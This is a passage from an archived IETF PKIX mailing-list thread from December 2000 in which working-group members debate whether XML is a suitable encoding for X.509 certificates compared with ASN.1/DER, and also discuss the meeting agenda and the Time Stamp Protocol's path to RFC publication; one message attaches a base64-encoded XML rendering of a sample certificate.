Why would you want to replace all of these just for the sake of "purity 
of XML"?

Terry

--------------010203070804080906090505
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html><head></head><body>Polar Humenn wrote:<br>
<blockquote type="cite" cite="mid:Pine.LNX.4.10.10012071005280.4753-100000@marcy.adiron.com"><pre wrap="">On Thu, 7 Dec 2000, Tim Polk wrote:<br><br>&lt;snipped&gt;<br></pre>
  <blockquote type="cite"><pre wrap="">To be honest, I personally believe that XML is an <br>inappropriate encoding format for certificates (public key *or* attribute).<br></pre></blockquote>
    <pre wrap=""><!----><br>Forgive me, I'm just an academic. So, my I ask, what does the encoding<br>format really matter? And especially, why is XML "inappropriate" for<br>certificates?<br></pre>
    </blockquote>
At the end of the day, the encoding format doesn't really matter.&nbsp; As long
as the required data is included in the payload, and all the parties involved
can decode and process the message, the desired results will be acheived.<br>
    <br>
However,&nbsp; there currently is a widely deployed and useful infrastructure
for certificates that uses ASN.1, DER and X.509 as the standard way of representing
the payload.&nbsp; There are applications and protocols that use this infrastructure
such as TLS/SSL, S/MIME and even XMLDSIG that embed these existing formats.&nbsp;
There is infrastructure developed and deployed for generating these certificates.&nbsp;
There are standard interfaces to devices that provided mechanisms for dealing
with X.509 certificates (I'm thinking of PKCS#11).<br>
    <br>
Why would you want to replace all of these just for the sake of "purity of XML"?<br>
    <br>
Terry<br>
</body></html>
--------------010203070804080906090505--



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA17088 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 10:49:19 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id NAA24710; Thu, 7 Dec 2000 13:51:24 -0500 (EST)
Message-Id: <4.2.0.58.20001207130621.01c41270@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 07 Dec 2000 13:49:13 -0500
To: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>, ietf-pkix <ietf-pkix@imc.org>
From: Tim Polk <tim.polk@nist.gov>
Subject: tentative timeline for TSP (was Re: PKIX WG tentative agenda)
In-Reply-To: <3A2F83AF.8726DAE7@certplus.com>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Jean-Marc,

The IESG process does not operate on a fixed schedule, so we really can't 
predict when an RFC number might be available.  The IETF process consists 
of repeated discussion and debate regarding the merits of a 
specification.  At any stage, we could conceivably discover a problem that 
needs to be resolved.  Every problem that is encountered will take 
additional time.

TSP has several hurdles to cross. Once the ADs are satisfied, TSP will 
still need to go through IETF Last Call, be approved by the IESG, and wait 
in the IETF editing queue.  After successfully completing this process, it 
will get an RFC number.  (Note that IETF Last Call is a minimum of two 
weeks, and documents seem to be spending at least a month in the editing 
queue.  Many documents spend more time in each stage.)

I expect TSP to go through the process rather cleanly.  My experience is 
that documents which survive PKIX itself are already fairly well scrubbed.

Tim Polk

At 01:33 PM 12/7/00 +0100, Jean-Marc Desperrier wrote:
>Tim Polk wrote:
>
> > I have attached the tentative agenda for next week's PKIX sessions.   As
> > usual, we have a rather full agenda.  Both days should be
> > interesting;  we'll discuss the path validation protocols on Tuesday and
> > XML on Wednesday.  In between, we'll cover the status of our twenty current
> > I-Ds.
>
>The agenda says the WG Last call for Time Stamp Protocols draft (TSP) is
>finished, and that the draft is now under Area Director Review.
>
>What would be a tentative time-line until publication as an RFC, or until
>attribution of a RFC number ?
>
>



Received: from mail.elftech.com ([63.237.226.22]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA13882 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 09:39:38 -0800 (PST)
From: jdhascup@elftech.com
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda
To: polar%adiron.com%INTERNET@elftech.com
Cc: Tim Polk <tim.polk@nist.gov>, ietf-pkix@imc.org
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF6E1B00EA.7FF71603-ON882569AE.005F639C@elftech.com>
Date: Thu, 7 Dec 2000 09:39:45 -0800
X-MIMETrack: Serialize by Router on Stratos/LXN(Release 5.0.3 |March 21, 2000) at 12/07/2000 09:39:34 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

<snipped>

>> To be honest, I personally believe that XML is an
>> inappropriate encoding format for certificates (public key *or*
attribute).
>
>Forgive me, I'm just an academic. So, my I ask, what does the encoding
>format really matter? And especially, why is XML "inappropriate" for
>certificates?

I believe there is a future for XML (or it's replacement) in how services
can use certificates. But I also have a concern in using XML as an encoding
format for certificates. In every instance of XML "enabled" services I've
seen the processes tend to be very inefficient. The move should be toward a
greater efficiency in the handling of certificates. The long term future of
XML (or it's replacement) may resolve this, but as end-entity devices are
demanding greater efficiency the concern should be against bloating the
certificate.


JohnDavid


Dr. JohnDavid Hascup
Senior Security Architect
ELF Technologies
Issaquah, WA
425-369-5200

After a year's research, one realizes that it could have been done in a
week.
[from Fifty Years of X-ray Diffraction]
- Sir William Henry Bragg, 1862-1942




Received: from mta6.snfc21.pbi.net (mta6.snfc21.pbi.net [206.13.28.240]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA13377 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 09:32:22 -0800 (PST)
Received: from [192.168.1.3] ([63.84.37.127]) by mta6.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G57000FXKAI8P@mta6.snfc21.pbi.net> for ietf-pkix@imc.org; Thu, 7 Dec 2000 09:23:13 -0800 (PST)
Date: Thu, 07 Dec 2000 09:25:17 -0800
From: Aram Perez <aram@pacbell.net>
Subject: FW: PKIXML session.  Was: PKIX WG tentative agenda
In-reply-to: <B65501B3.31D4%aram@pacbell.net>
To: PKIX <ietf-pkix@imc.org>
Message-id: <B65507FD.31D4%aram@pacbell.net>
MIME-version: 1.0
Content-type: multipart/mixed; boundary="MS_Mac_OE_3059025917_272816_MIME_Part"
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--MS_Mac_OE_3059025917_272816_MIME_Part
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Just for fun, I've attached the PKIX example #1 certificate converted from
ASN.1 to XML.

Enjoy,
Aram Perez

----------
From: Aram Perez <aram@pacbell.net>
Date: Thu, 07 Dec 2000 08:58:28 -0800
To: PKIX <ietf-pkix@imc.org>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda

Polar Humenn wrote:

> On Thu, 7 Dec 2000, Tim Polk wrote:
> 
> <snipped>
> 
>> To be honest, I personally believe that XML is an
>> inappropriate encoding format for certificates (public key *or* attribute).
> 
> Forgive me, I'm just an academic. So, my I ask, what does the encoding
> format really matter? And especially, why is XML "inappropriate" for
> certificates?

I'm not an academic, and I really don't care if I have to use ASN.1 or XML
to transfer security related information. But I really would like to see an
answer to Polar's questions.

Feliz Navidad,
Aram Perez


--MS_Mac_OE_3059025917_272816_MIME_Part
Content-type: text/plain; name="pkix-ex1.xml";
 x-mac-creator="43574945";
 x-mac-type="54455854"
Content-disposition: attachment
Content-transfer-encoding: base64

PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJ5ZXMiID8+DTxCRVIgRmlsZW5hbWU9
InBraXgtZXgxLmJlciIgPg08U0VRVUVOQ0UgTGVuZ3RoPSI2NTgiPg08U0VRVUVOQ0UgTGVu
Z3RoPSI1OTQiPg08XzBfQ29udGV4dC1zcGVjaWZpYyBMZW5ndGg9IjMiPg08SU5URUdFUiBM
ZW5ndGg9IjEiIFZhbHVlPSIyIj4NPC9JTlRFR0VSPg08L18wX0NvbnRleHQtc3BlY2lmaWM+
DTxJTlRFR0VSIExlbmd0aD0iMSIgVmFsdWU9IjAiPg08L0lOVEVHRVI+DTxTRVFVRU5DRSBM
ZW5ndGg9IjkiPg08T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSI3IiBWYWx1ZT0ieyAxIDIg
ODQwIDEwMDQwIDQgMyB9IGRzYVdpdGhTaGExIj4NPC9PQkpFQ1RfSURFTlRJRklFUj4NPC9T
RVFVRU5DRT4NPFNFUVVFTkNFIExlbmd0aD0iNDIiPg08U0VUIExlbmd0aD0iMTEiPg08U0VR
VUVOQ0UgTGVuZ3RoPSI5Ij4NPE9CSkVDVF9JREVOVElGSUVSIExlbmd0aD0iMyIgVmFsdWU9
InsgMiA1IDQgNiB9IGNvdW50cnlOYW1lIj4NPC9PQkpFQ1RfSURFTlRJRklFUj4NPFByaW50
YWJsZVN0cmluZyBMZW5ndGg9IjIiIFZhbHVlPSJVUyI+DTwvUHJpbnRhYmxlU3RyaW5nPg08
L1NFUVVFTkNFPg08L1NFVD4NPFNFVCBMZW5ndGg9IjEyIj4NPFNFUVVFTkNFIExlbmd0aD0i
MTAiPg08T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSIzIiBWYWx1ZT0ieyAyIDUgNCAxMCB9
IG9yZ2FuaXphdGlvbk5hbWUiPg08L09CSkVDVF9JREVOVElGSUVSPg08UHJpbnRhYmxlU3Ry
aW5nIExlbmd0aD0iMyIgVmFsdWU9ImdvdiI+DTwvUHJpbnRhYmxlU3RyaW5nPg08L1NFUVVF
TkNFPg08L1NFVD4NPFNFVCBMZW5ndGg9IjEzIj4NPFNFUVVFTkNFIExlbmd0aD0iMTEiPg08
T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSIzIiBWYWx1ZT0ieyAyIDUgNCAxMSB9IG9yZ2Fu
aXphdGlvbmFsVW5pdE5hbWUiPg08L09CSkVDVF9JREVOVElGSUVSPg08UHJpbnRhYmxlU3Ry
aW5nIExlbmd0aD0iNCIgVmFsdWU9Im5pc3QiPg08L1ByaW50YWJsZVN0cmluZz4NPC9TRVFV
RU5DRT4NPC9TRVQ+DTwvU0VRVUVOQ0U+DTxTRVFVRU5DRSBMZW5ndGg9IjMwIj4NPFVUQ1Rp
bWUgTGVuZ3RoPSIxMyIgVmFsdWU9Ijk3MDYzMDAwMDAwMFoiPg08L1VUQ1RpbWU+DTxVVENU
aW1lIExlbmd0aD0iMTMiIFZhbHVlPSI5NzEyMzEwMDAwMDBaIj4NPC9VVENUaW1lPg08L1NF
UVVFTkNFPg08U0VRVUVOQ0UgTGVuZ3RoPSI0MiI+DTxTRVQgTGVuZ3RoPSIxMSI+DTxTRVFV
RU5DRSBMZW5ndGg9IjkiPg08T0JKRUNUX0lERU5USUZJRVIgTGVuZ3RoPSIzIiBWYWx1ZT0i
eyAyIDUgNCA2IH0gY291bnRyeU5hbWUiPg08L09CSkVDVF9JREVOVElGSUVSPg08UHJpbnRh
YmxlU3RyaW5nIExlbmd0aD0iMiIgVmFsdWU9IlVTIj4NPC9QcmludGFibGVTdHJpbmc+DTwv
U0VRVUVOQ0U+DTwvU0VUPg08U0VUIExlbmd0aD0iMTIiPg08U0VRVUVOQ0UgTGVuZ3RoPSIx
MCI+DTxPQkpFQ1RfSURFTlRJRklFUiBMZW5ndGg9IjMiIFZhbHVlPSJ7IDIgNSA0IDEwIH0g
b3JnYW5pemF0aW9uTmFtZSI+DTwvT0JKRUNUX0lERU5USUZJRVI+DTxQcmludGFibGVTdHJp
bmcgTGVuZ3RoPSIzIiBWYWx1ZT0iZ292Ij4NPC9QcmludGFibGVTdHJpbmc+DTwvU0VRVUVO
Q0U+DTwvU0VUPg08U0VUIExlbmd0aD0iMTMiPg08U0VRVUVOQ0UgTGVuZ3RoPSIxMSI+DTxP
QkpFQ1RfSURFTlRJRklFUiBMZW5ndGg9IjMiIFZhbHVlPSJ7IDIgNSA0IDExIH0gb3JnYW5p
emF0aW9uYWxVbml0TmFtZSI+DTwvT0JKRUNUX0lERU5USUZJRVI+DTxQcmludGFibGVTdHJp
bmcgTGVuZ3RoPSI0IiBWYWx1ZT0ibmlzdCI+DTwvUHJpbnRhYmxlU3RyaW5nPg08L1NFUVVF
TkNFPg08L1NFVD4NPC9TRVFVRU5DRT4NPFNFUVVFTkNFIExlbmd0aD0iNDM2Ij4NPFNFUVVF
TkNFIExlbmd0aD0iMjk3Ij4NPE9CSkVDVF9JREVOVElGSUVSIExlbmd0aD0iNyIgVmFsdWU9
InsgMSAyIDg0MCAxMDA0MCA0IDEgfSBkc2EiPg08L09CSkVDVF9JREVOVElGSUVSPg08U0VR
VUVOQ0UgTGVuZ3RoPSIyODQiPg08SU5URUdFUiBMZW5ndGg9IjEyOCIgVmFsdWU9Ii0zMDc0
NDIyMDMxMjA5NjI3NDY1NDUyODU4Njc3OTgyMTAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCI+DTwvSU5URUdFUj4NPElOVEVH
RVIgTGVuZ3RoPSIyMCIgVmFsdWU9Ii01MTA4OTY1NzQ2MDY1MTcwODg5MjUyNTk2MTgxNjEy
NzAwMDAwMDAwMDAwMDAwMDAiPg08L0lOVEVHRVI+DTxJTlRFR0VSIExlbmd0aD0iMTI4IiBW
YWx1ZT0iOTk5MzcyNzEyMDgzNjY4MDExMDY0MjUyNTI0NTY3NjAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCI+DTwvSU5URUdF
Uj4NPC9TRVFVRU5DRT4NPC9TRVFVRU5DRT4NPEJJVF9TVFJJTkcgTGVuZ3RoPSIxMzIiPg08
Vj4gMDAxLTAxMDogMDAgMDIgODEgODAgQUEgOTggRUEgMTMgOTQgQTIgLi4uLi4uLi4uLiA8
L1Y+DTxWPiAwMTEtMDIwOiBEQiBGMSA1QiA3RiA5OCAyRiA3OCBFNyBEOCBFMyAuLlsuLi94
Li4uIDwvVj4NPFY+IDAyMS0wMzA6IEI5IDcxIDg2IEY2IDgwIDJGIDQwIDM5IEMzIERBIC5x
Li4uL0A5Li4gPC9WPg08Vj4gMDMxLTA0MDogM0IgNEIgMTMgNDYgMjYgRUUgMEQgNTYgQzUg
QTMgO0suRiYjMzg7Li5WLi4gPC9WPg08Vj4gMDQxLTA1MDogM0EgMzkgQjcgN0QgMzMgQzIg
NkIgNUMgNzcgOTIgOjkuLjMua1x3LiA8L1Y+DTxWPiAwNTEtMDYwOiBGMiA1NSA2NSA5MCAz
OSBDRCAxQSAzQyA4NiBFMSAuVWUuOS4uJiM2MDsuLiA8L1Y+DTxWPiAwNjEtMDcwOiAzMiBF
QiAyNSBCQyA5MSBDNCBGRiA4MCA0RiAzNiAyLiUuLi4uLk82IDwvVj4NPFY+IDA3MS0wODA6
IDYxIEJEIENDIEUyIDYxIDA0IEUwIDdFIDYwIDEzIGEuLi5hLi4uYC4gPC9WPg08Vj4gMDgx
LTA5MDogQ0EgQzAgOUMgREQgRTAgRUEgNDEgREUgMzMgQzEgLi4uLi4uQS4zLiA8L1Y+DTxW
PiAwOTEtMTAwOiBGMSA0NCBBOSBCQyA3MSBERSBDRiA1OSBENCA2RSAuRC4ucS4uWS5uIDwv
Vj4NPFY+IDEwMS0xMTA6IERBIDQ0IDk5IDNDIDIxIDY0IEU0IDc4IDU0IDlEIC5ELiYjNjA7
IWQueFQuIDwvVj4NPFY+IDExMS0xMjA6IEQwIDdCIEJBIDRFIEY1IDE4IDREIDVFIDM5IDMw
IC4uLk4uLk1eOTAgPC9WPg08Vj4gMTIxLTEzMDogQkYgRTAgRDEgRjYgRjQgODMgMjUgNEYg
MTQgQUEgLi4uLi4uJU8uLiA8L1Y+DTxWPiAxMzEtMTMyOiA3MSBFMSAgICAgICAgICAgICAg
ICAgICAgICAgICBxLiA8L1Y+DTwvQklUX1NUUklORz4NPC9TRVFVRU5DRT4NPF8zX0NvbnRl
eHQtc3BlY2lmaWMgTGVuZ3RoPSIxMyI+DTxTRVFVRU5DRSBMZW5ndGg9IjExIj4NPFNFUVVF
TkNFIExlbmd0aD0iOSI+DTxPQkpFQ1RfSURFTlRJRklFUiBMZW5ndGg9IjMiIFZhbHVlPSJ7
IDIgNSAyOSAxOSB9IGJhc2ljQ29uc3RyYWludHMiPg08L09CSkVDVF9JREVOVElGSUVSPg08
T0NURVRfU1RSSU5HIExlbmd0aD0iMiIgVmFsdWU9IjEtMjogMzAgMDAgICAgICAgICAgICAg
ICAgICAgICAgICAgMC4iPg08L09DVEVUX1NUUklORz4NPC9TRVFVRU5DRT4NPC9TRVFVRU5D
RT4NPC9fM19Db250ZXh0LXNwZWNpZmljPg08L1NFUVVFTkNFPg08U0VRVUVOQ0UgTGVuZ3Ro
PSI5Ij4NPE9CSkVDVF9JREVOVElGSUVSIExlbmd0aD0iNyIgVmFsdWU9InsgMSAyIDg0MCAx
MDA0MCA0IDMgfSBkc2FXaXRoU2hhMSI+DTwvT0JKRUNUX0lERU5USUZJRVI+DTwvU0VRVUVO
Q0U+DTxCSVRfU1RSSU5HIExlbmd0aD0iNDciPg08Vj4gMDEtMTA6IDAwIDMwIDJDIDAyIDE0
IDlEIDJEIDBDIDc1IEVDIC4wLC4uLi0udS4gPC9WPg08Vj4gMTEtMjA6IENFIDAxIDc5IDI1
IDRDIENEIDdCIERDIEZDIDE3IC4ueSVMLi4uLi4gPC9WPg08Vj4gMjEtMzA6IDBFIDBGIDJB
IDIyIEVGIDAyIDE0IDgwIDYxIDZGIC4uKiIuLi4uYW8gPC9WPg08Vj4gMzEtNDA6IEZCIERD
IDcxIENGIDNGIDA5IDYyIEI0IEFBIEFEIC4ucS4/LmIuLi4gPC9WPg08Vj4gNDEtNDc6IDRC
IDhDIDI4IDY4IEQ3IDYwIEZFICAgICAgICAgIEsuKGguYC4gPC9WPg08L0JJVF9TVFJJTkc+
DTwvU0VRVUVOQ0U+DTwvQkVSPg0=

--MS_Mac_OE_3059025917_272816_MIME_Part--




Received: from mta5.snfc21.pbi.net (mta5.snfc21.pbi.net [206.13.28.241]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA12861 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 09:29:22 -0800 (PST)
Received: from [192.168.1.3] ([63.84.37.127]) by mta5.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0G5700LQBJ2EDE@mta5.snfc21.pbi.net> for ietf-pkix@imc.org; Thu, 7 Dec 2000 08:56:41 -0800 (PST)
Date: Thu, 07 Dec 2000 08:58:28 -0800
From: Aram Perez <aram@pacbell.net>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
In-reply-to: <Pine.LNX.4.10.10012071005280.4753-100000@marcy.adiron.com>
To: PKIX <ietf-pkix@imc.org>
Message-id: <B65501B3.31D4%aram@pacbell.net>
MIME-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022

Polar Humenn wrote:

> On Thu, 7 Dec 2000, Tim Polk wrote:
> 
> <snipped>
> 
>> To be honest, I personally believe that XML is an
>> inappropriate encoding format for certificates (public key *or* attribute).
> 
> Forgive me, I'm just an academic. So, my I ask, what does the encoding
> format really matter? And especially, why is XML "inappropriate" for
> certificates?

I'm not an academic, and I really don't care if I have to use ASN.1 or XML
to transfer security related information. But I really would like to see an
answer to Polar's questions.

Feliz Navidad,
Aram Perez



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA09716 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 09:00:10 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id MAA11052; Thu, 7 Dec 2000 12:02:20 -0500 (EST)
Message-Id: <4.2.0.58.20001207115100.01c3fbc0@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 07 Dec 2000 12:00:08 -0500
To: Polar Humenn <polar@adiron.com>
From: Tim Polk <tim.polk@nist.gov>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
Cc: ietf-pkix@imc.org
In-Reply-To: <Pine.LNX.4.10.10012071005280.4753-100000@marcy.adiron.com>
References: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Polar,

At 10:10 AM 12/7/00 -0500, Polar Humenn wrote:
>On Thu, 7 Dec 2000, Tim Polk wrote:
>
><snipped>
>
> > To be honest, I personally believe that XML is an
> > inappropriate encoding format for certificates (public key *or* attribute).
>
>Forgive me, I'm just an academic. So, my I ask, what does the encoding
>format really matter? And especially, why is XML "inappropriate" for
>certificates?
>
>Cheers,
>-Polar

I'm just a government hack, so take it for what it's worth:

The W3C describes XML as "the universal format for structured documents 
*and data* on the Web" (my emphasis).  One of the reasons given for putting 
data from into XML is that it "allows you, if necessary, to look at the 
data without the program that produced it."

Hmm.  I can accept XML for documents.  I can rationalize XML for 
human-readable data (e.g., spreadsheet data).  But certificates?  I don't 
want to read certificates, I want to process them efficiently.  This leaves 
us one "advantage" - it's the universal format.

I see tow major problems with XML as a near term solution for 
certificates.  Perhaps they can be resolved in the future, but they seem 
like issues today.

First, I believe that significant work remains to handle signed XML at 
all.   In its basic form, XML encoded documents can be modified without 
changing the document.  That breaks signatures.  Canonicalization 
techniques may fix that in the future, but they seem to be a major 
interoperability headache today.

Secondly, XML certificates are going to bring a significant increase in 
size.  One of the SPKI WG's premises was that X.509 certificates were too 
large already.   Some of the wireless folks consider this an issue as 
well.  How big do you expect an XML certificate to be?

I don't have a crystal ball, but it seems that ASN.1 DER encoding serves 
our purpose.  It has its warts, as Peter Gutmann's X.509 Style Guide 
demonstrates, but we know how to make it work.

Tim Polk



Received: from maile.telia.com (maile.telia.com [194.22.190.16]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA29634; Thu, 7 Dec 2000 07:18:44 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by maile.telia.com (8.9.3/8.9.3) with ESMTP id QAA16707; Thu, 7 Dec 2000 16:20:51 +0100 (CET)
Received: from mega (t7o69p49.telia.com [213.65.46.49]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eB7FKgo08298; Thu, 7 Dec 2000 16:20:42 +0100 (CET)
Message-ID: <003101c06061$0f716dc0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Stephen Kent" <kent@bbn.com>, <ietf-pkix@imc.org>, "Paul Hoffman / IMC" <phoffman@imc.org>, "Tim Polk" <tim.polk@nist.gov>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov> <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
Date: Thu, 7 Dec 2000 16:19:12 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id HAA29635

Tim,
Thanx for the answer.
My idea was really that a BOF-like discussion should set the scope of PKIXML which
could be very humble (add an optional message syntax as in SVCP and see if
anybody likes it), to "rewriting it all XML".  The latter will surely happen some day if the
"trend" persists, but is unlikely to be priority #1, even for the loudest XML proponents.

BTW, I have just read the S2ML 0.7a draft which is like an XML replacement for PKIX-ACs
so the heat is already on [PKIX].

Regards
Anders Rundgren


----- Original Message ----- 
From: "Tim Polk" <tim.polk@nist.gov>
To: "Anders Rundgren" <anders.rundgren@telia.com>; "Stephen Kent" <kent@bbn.com>; <ietf-pkix@imc.org>; "Paul Hoffman / IMC" <phoffman@imc.org>
Sent: Thursday, December 07, 2000 15:31
Subject: Re: PKIXML session. Was: PKIX WG tentative agenda


> Anders,
> 
> It is very important that we come to some consensus regarding how 
> X.509-based PKIs can be integrated with XML-based clients.  This topic is 
> in my opinion within the scope of our charter.  The PKIX WG has spent a lot 
> of cycles on the list discussing this topic, so there is clearly 
> interest.  It makes sense to deal with it as much as we can during the 
> session.  I deferred this discussion to the end since it will consume any 
> available time.
> 
> This is very different from a session on XML-based PKIs, where ASN.1 is 
> never used.  That is the session I thought you were requesting, and it is 
> well outside our charter.  It is not my role or Steve's to be organizing 
> such a session.  To be honest, I personally believe that XML is an 
> inappropriate encoding format for certificates (public key *or* attribute).
> 
> I am sorry you assumed we wouldn't discuss PKI and XML at all.  The 
> discussion is incomplete if the "loudest PKI-XML proponent" (or opponent) 
> is not present.
> 
> Tim
> 
> At 09:36 AM 12/7/00 +0100, Anders Rundgren wrote:
> >Tim,
> >What you are saying is that there _will_ be some kind of a PKIXML session 
> >(short but something at least)
> >which I have asked Steve K to arrange in and off this list with no success.
> >
> >Unfortunately, I and few others cannot waste their precious time on things 
> >that are decided
> >in the last minute with no previous information. As we have discussed this 
> >subject for a month
> >or so, I am pretty disappointed on how PKIX handled this.  OK, maybe it is 
> >a "win" in somebody's
> >view that the loudest PKI-XML proponent (who still insists that this is a 
> >_market_ thing as well) will
> >not be there...
> >
> >Anders
> >
> >
> >
> > > I am projecting a half hour for discussions on XML and PKI.  So far, Phil
> > > has requested time to describe XKMS.  If you would like to present under
> > > this general topic, please send me email.  I will try to get everyone some
> > > time to present their views.
> > >
> > > Thanks,
> > >
> > > Tim Polk
> 



Received: from marcy.adiron.com ([128.230.111.5]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA29274 for <ietf-pkix@imc.org>; Thu, 7 Dec 2000 07:13:08 -0800 (PST)
Received: from localhost (polar@localhost) by marcy.adiron.com (8.9.1/8.9.0) with ESMTP id KAA04897; Thu, 7 Dec 2000 10:10:25 -0500
X-Authentication-Warning: marcy.adiron.com: polar owned process doing -bs
Date: Thu, 7 Dec 2000 10:10:24 -0500 (EST)
From: Polar Humenn <polar@adiron.com>
To: Tim Polk <tim.polk@nist.gov>
cc: ietf-pkix@imc.org
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
In-Reply-To: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
Message-ID: <Pine.LNX.4.10.10012071005280.4753-100000@marcy.adiron.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 7 Dec 2000, Tim Polk wrote:

<snipped>

> To be honest, I personally believe that XML is an 
> inappropriate encoding format for certificates (public key *or* attribute).

Forgive me, I'm just an academic. So, my I ask, what does the encoding
format really matter? And especially, why is XML "inappropriate" for
certificates?

Cheers,
-Polar

-------------------------------------------------------------------
Polar Humenn                  Adiron, LLC
mailto:polar@adiron.com       2-212 CST      
Phone: 315-443-3171           Syracuse, NY 13244-4100
Fax:   315-443-4745           http://www.adiron.com



Received: from email.nist.gov (email.nist.gov [129.6.2.7]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA27232; Thu, 7 Dec 2000 06:31:59 -0800 (PST)
Received: from st25 (st25.ncsl.nist.gov [129.6.54.67]) by email.nist.gov (8.9.3/8.9.3) with ESMTP id JAA15130; Thu, 7 Dec 2000 09:34:01 -0500 (EST)
Message-Id: <4.2.0.58.20001207091539.01c0c9a0@email.nist.gov>
X-Sender: wpolk@email.nist.gov
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 07 Dec 2000 09:31:49 -0500
To: "Anders Rundgren" <anders.rundgren@telia.com>, "Stephen Kent" <kent@bbn.com>, <ietf-pkix@imc.org>, "Paul Hoffman / IMC" <phoffman@imc.org>
From: Tim Polk <tim.polk@nist.gov>
Subject: Re: PKIXML session.  Was: PKIX WG tentative agenda
In-Reply-To: <002c01c06028$ca234000$0201a8c0@vincent.se>
References: <4.2.0.58.20001206163753.01d70660@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Anders,

It is very important that we come to some consensus regarding how 
X.509-based PKIs can be integrated with XML-based clients.  This topic is 
in my opinion within the scope of our charter.  The PKIX WG has spent a lot 
of cycles on the list discussing this topic, so there is clearly 
interest.  It makes sense to deal with it as much as we can during the 
